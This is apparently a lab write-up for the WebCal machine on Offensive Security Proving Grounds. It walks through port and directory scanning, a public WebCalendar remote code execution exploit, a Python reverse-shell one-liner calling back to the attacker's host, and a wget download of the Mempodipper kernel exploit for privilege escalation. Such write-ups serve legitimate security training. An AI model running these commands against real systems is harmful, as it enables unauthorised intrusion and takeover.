WebCal
Writeup for WebCal from Offensive Security Proving Grounds (PG)
Service Enumeration
nmapAutomator.sh -H 192.168.66.37 -t full
nmapAutomator.sh -H 192.168.66.37 -t vulns
gobuster dir -u http://192.168.66.37/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50
We find a login page at http://192.168.66.37/webcalendar/login.php.
The version is v1.2.3
WebCalendar <= v1.2.4 suffers from an RCE vulnerability: https://www.exploit-db.com/exploits/18775
Simply running the exploit above gives us RCE. php 18775.php 192.168.66.37 /webcalendar/
Once here, we can use a Python payload to catch a reverse shell on our Kali machine.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.66",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
On our Kali machine:
Privilege Escalation
The settings.php file looks interesting.
Upon further inspection, the MySQL database credentials are in this file.
Furthermore, we now have access to port 3306, which is the MySQL port.
The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.
Compile: gcc mempodipper.c -o mempodipper
Transfer: wget "192.168.49.66/mempodipper" -O mempodipper
